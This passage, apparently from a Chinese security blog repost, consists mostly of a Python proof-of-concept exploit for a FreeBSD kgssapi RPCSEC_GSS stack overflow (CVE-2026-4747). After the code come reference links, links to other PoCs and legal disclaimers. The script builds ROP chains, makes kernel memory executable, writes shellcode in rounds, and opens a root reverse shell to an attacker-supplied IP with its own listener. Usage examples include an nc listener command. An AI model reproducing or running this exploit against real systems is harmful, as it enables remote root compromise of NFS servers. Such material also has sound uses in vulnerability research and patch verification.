&nbsp; &nbsp; Each write: pop_rdi(addr) + pop_rax(value) + mov_[rdi]_rax = 40 bytes.&nbsp; &nbsp; Exit: pop_rdi(0) + kthread_exit = 24 bytes.&nbsp; &nbsp; Jump: just the target address = 8 bytes.&nbsp; &nbsp; """&nbsp; &nbsp; rop =&nbsp;bytearray()&nbsp; &nbsp;&nbsp;for&nbsp;addr, value&nbsp;in&nbsp;writes:&nbsp; &nbsp; &nbsp; &nbsp; rop += p64(POP_RDI) + p64(addr)&nbsp; &nbsp; &nbsp; &nbsp; rop += p64(POP_RAX) + p64(value)&nbsp; &nbsp; &nbsp; &nbsp; rop += p64(MOV_RDI_RAX_RET)
&nbsp; &nbsp;&nbsp;if&nbsp;isinstance(exit_or_jump,&nbsp;int):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Jump to shellcode&nbsp; &nbsp; &nbsp; &nbsp; rop += p64(exit_or_jump)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Clean thread exit&nbsp; &nbsp; &nbsp; &nbsp; rop += p64(POP_RDI) + p64(0)&nbsp; &nbsp; &nbsp; &nbsp; rop += p64(KTHREAD_EXIT)
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(rop)

# ─── Main exploit ───────────────────────────────────────────────────────────
def&nbsp;nfs_alive(host, port, timeout=3):&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; &nbsp; &nbsp; s.settimeout(timeout)&nbsp; &nbsp; &nbsp; &nbsp; s.connect((host, port))&nbsp; &nbsp; &nbsp; &nbsp; s.close()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

def&nbsp;exploit(target, nfs_port, callback_ip, callback_port, spn):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Full 15-round remote kernel RCE exploit.
&nbsp; &nbsp; Round 1: &nbsp; &nbsp; &nbsp;pmap_change_prot(BSS, RWX) + kthread_exit&nbsp; &nbsp; Rounds 2-14: &nbsp;write 4 × 8B of shellcode per round + kthread_exit&nbsp; &nbsp; Round 15: &nbsp; &nbsp; write final qwords + jump to shellcode entry&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;print(f"\n &nbsp;Target: &nbsp;&nbsp;{target}:{nfs_port}")&nbsp; &nbsp;&nbsp;print(f" &nbsp;Callback:&nbsp;{callback_ip}:{callback_port}")&nbsp; &nbsp;&nbsp;print(f" &nbsp;SPN: &nbsp; &nbsp; &nbsp;{spn}\n")
&nbsp; &nbsp;&nbsp;# ── Build shellcode ─────────────────────────────────────────────────&nbsp; &nbsp; shellcode = build_shellcode(KERNEL_BASE, callback_ip, callback_port)&nbsp; &nbsp;&nbsp;while&nbsp;len(shellcode) %&nbsp;8:&nbsp; &nbsp; &nbsp; &nbsp; shellcode +=&nbsp;b'\x00'
&nbsp; &nbsp;&nbsp;# Split into 8-byte writes&nbsp; &nbsp; writes = []&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(shellcode),&nbsp;8):&nbsp; &nbsp; &nbsp; &nbsp; qword = struct.unpack('<Q', shellcode[i:i+8])[0]&nbsp; &nbsp; &nbsp; &nbsp; writes.append((SHELLCODE_ADDR + i, qword))
&nbsp; &nbsp; total_rounds =&nbsp;1&nbsp;+&nbsp;len(writes) // WRITES_PER_ROUND&nbsp; &nbsp;&nbsp;if&nbsp;len(writes) % WRITES_PER_ROUND:&nbsp; &nbsp; &nbsp; &nbsp; total_rounds +=&nbsp;1&nbsp; &nbsp;&nbsp;print(f" &nbsp;Shellcode:&nbsp;{len(shellcode)}&nbsp;bytes ({len(writes)}&nbsp;qwords)")&nbsp; &nbsp;&nbsp;print(f" &nbsp;Delivery: &nbsp;{total_rounds}&nbsp;rounds (1 pmap +&nbsp;{total_rounds-1}&nbsp;write)\n")
&nbsp; &nbsp;&nbsp;# ── Round 1: Make BSS executable ────────────────────────────────────&nbsp; &nbsp;&nbsp;print(f" &nbsp;[R1/{total_rounds}] pmap_change_prot(BSS, 0x2000, RWX)")&nbsp; &nbsp; handle = gss_establish(target, nfs_port, spn)&nbsp; &nbsp;&nbsp;if&nbsp;handle&nbsp;is&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp;[-] GSS context failed");&nbsp;return&nbsp;False&nbsp; &nbsp; cred = build_credential(handle, rop_pmap_and_exit())&nbsp; &nbsp; send_overflow(target, nfs_port, cred)&nbsp; &nbsp; time.sleep(3)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;nfs_alive(target, nfs_port):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp;[-] NFS down after R1 (kernel panic?)");&nbsp;return&nbsp;False&nbsp; &nbsp;&nbsp;print(" &nbsp;[+] BSS is now RWX\n")
&nbsp; &nbsp;&nbsp;# ── Rounds 2+: Write shellcode to BSS ───────────────────────────────&nbsp; &nbsp; round_num =&nbsp;2&nbsp; &nbsp; write_idx =&nbsp;0
&nbsp; &nbsp;&nbsp;while&nbsp;write_idx <&nbsp;len(writes):&nbsp; &nbsp; &nbsp; &nbsp; remaining =&nbsp;len(writes) - write_idx&nbsp; &nbsp; &nbsp; &nbsp; is_final = remaining <= WRITES_PER_ROUND&nbsp; &nbsp; &nbsp; &nbsp; batch_size = remaining&nbsp;if&nbsp;is_final&nbsp;else&nbsp;WRITES_PER_ROUND&nbsp; &nbsp; &nbsp; &nbsp; batch = writes[write_idx:write_idx + batch_size]
&nbsp; &nbsp; &nbsp; &nbsp; action =&nbsp;"write + EXECUTE"&nbsp;if&nbsp;is_final&nbsp;else&nbsp;"write"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp;[R{round_num}/{total_rounds}]&nbsp;{action}&nbsp;"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"({batch_size}&nbsp;qwords → 0x{batch[0][0]:x})", end="", flush=True)
&nbsp; &nbsp; &nbsp; &nbsp; handle = gss_establish(target, nfs_port, spn)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;handle&nbsp;is&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n &nbsp;[-] GSS context failed");&nbsp;return&nbsp;False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;is_final:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Final round: write + jump to shellcode (preload KPROC_CREATE in rbx)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rop = rop_write_qwords(batch, SHELLCODE_ADDR)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cred = build_credential(handle, rop, preload_rbx=KPROC_CREATE)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Intermediate round: write + kthread_exit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rop = rop_write_qwords(batch,&nbsp;"exit")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cred = build_credential(handle, rop)
&nbsp; &nbsp; &nbsp; &nbsp; send_overflow(target, nfs_port, cred)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;is_final:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" → JUMP 0x{SHELLCODE_ADDR:x}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(2)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;nfs_alive(target, nfs_port):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n &nbsp;[-] NFS down after R{round_num}");&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" ✓")
&nbsp; &nbsp; &nbsp; &nbsp; write_idx += batch_size&nbsp; &nbsp; &nbsp; &nbsp; round_num +=&nbsp;1
&nbsp; &nbsp;&nbsp;print(f"\n &nbsp;[*] Shellcode delivered and executing.")&nbsp; &nbsp;&nbsp;print(f" &nbsp;[*] kproc_create → kern_execve('/bin/sh -c ...')")&nbsp; &nbsp;&nbsp;print(f" &nbsp;[*] Reverse shell →&nbsp;{callback_ip}:{callback_port}")&nbsp; &nbsp;&nbsp;return&nbsp;True

# ─── Entry point ────────────────────────────────────────────────────────────
def&nbsp;main():&nbsp; &nbsp; parser = argparse.ArgumentParser(&nbsp; &nbsp; &nbsp; &nbsp; description='CVE-2026-4747 — FreeBSD kgssapi.ko Remote Kernel RCE',&nbsp; &nbsp; &nbsp; &nbsp; formatter_class=argparse.RawDescriptionHelpFormatter,&nbsp; &nbsp; &nbsp; &nbsp; epilog="""Examples:&nbsp; python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444&nbsp; python3 exploit.py -t 192.168.1.100 -p 2049 --ip 192.168.1.1 --port 9001
Prerequisites:&nbsp; 1. Target must run FreeBSD 14.4-RELEASE with kgssapi.ko + NFS&nbsp; 2. Kerberos KDC must be reachable (port 88 or forwarded)&nbsp; 3. Run: kinit [email protected] (before launching this exploit)&nbsp; 4. Start a listener: nc -lvp <port>&nbsp; &nbsp; &nbsp; &nbsp; """)
&nbsp; &nbsp; parser.add_argument('-t',&nbsp;'--target', required=True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help='Target IP (NFS server)')&nbsp; &nbsp; parser.add_argument('-p',&nbsp;'--nfs-port',&nbsp;type=int, default=2049,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help='Target NFS port (default: 2049)')&nbsp; &nbsp; parser.add_argument('--ip', dest='callback_ip', required=True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help='Attacker IP for reverse shell callback')&nbsp; &nbsp; parser.add_argument('--port', dest='callback_port',&nbsp;type=int, default=4444,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help='Attacker port for reverse shell (default: 4444)')&nbsp; &nbsp; parser.add_argument('--spn', default='nfs/[email protected]',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help='Kerberos service principal (default: nfs/[email protected])')
&nbsp; &nbsp; args = parser.parse_args()
&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;62)&nbsp; &nbsp;&nbsp;print(" &nbsp;CVE-2026-4747 — FreeBSD RPCSEC_GSS Remote Kernel RCE")&nbsp; &nbsp;&nbsp;print(" &nbsp;Stack overflow → ROP → shellcode → uid 0 reverse shell")&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;62)
&nbsp; &nbsp;&nbsp;# Start listener&nbsp; &nbsp;&nbsp;print(f"\n &nbsp;[*] Starting listener on 0.0.0.0:{args.callback_port}...")&nbsp; &nbsp; listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,&nbsp;1)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; listener.bind(('0.0.0.0', args.callback_port))&nbsp; &nbsp;&nbsp;except&nbsp;OSError&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp;[-] Cannot bind port&nbsp;{args.callback_port}:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp; listener.listen(1)&nbsp; &nbsp; listener.settimeout(100)
&nbsp; &nbsp;&nbsp;# Run exploit&nbsp; &nbsp; ok = exploit(args.target, args.nfs_port, args.callback_ip,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;args.callback_port, args.spn)&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;ok:&nbsp; &nbsp; &nbsp; &nbsp; listener.close()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp;&nbsp;# Wait for shell&nbsp; &nbsp;&nbsp;print(f"\n &nbsp;[*] Waiting for reverse shell...")&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; shell, addr = listener.accept()&nbsp; &nbsp;&nbsp;except&nbsp;socket.timeout:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp;[-] No connection within 60 seconds.")&nbsp; &nbsp; &nbsp; &nbsp; listener.close()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp; listener.close()
&nbsp; &nbsp;&nbsp;print(f" &nbsp;[+] Connection from&nbsp;{addr[0]}:{addr[1]}")&nbsp; &nbsp;&nbsp;print(f" &nbsp;[+] Got shell!\n")
&nbsp; &nbsp;&nbsp;# Interactive I/O&nbsp; &nbsp; shell.setblocking(False)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; readable, _, _ = select.select([shell, sys.stdin], [], [],&nbsp;0.1)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;fd&nbsp;in&nbsp;readable:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;fd&nbsp;is&nbsp;shell:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = shell.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;(BlockingIOError, ConnectionResetError):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data =&nbsp;b''&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;data:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.write(data.decode('utf-8', errors='replace'))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.flush()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;fd&nbsp;is&nbsp;sys.stdin:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line = sys.stdin.readline()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;line:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shell.sendall(line.encode())&nbsp; &nbsp;&nbsp;except&nbsp;(KeyboardInterrupt, SystemExit):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n &nbsp;[*] Shell closed.")&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; shell.close()

if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; main()

0x05 参考链接

https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py

https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc

推荐阅读:

CVE-2025-32463|Linux sudo 本地提权漏洞(POC)

CVE-2024-26809|Linux提权漏洞(PoC)

CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy alicy《CVE-2026-4747|FreeBSD栈溢出漏洞(POC)》

评论:0   参与:  0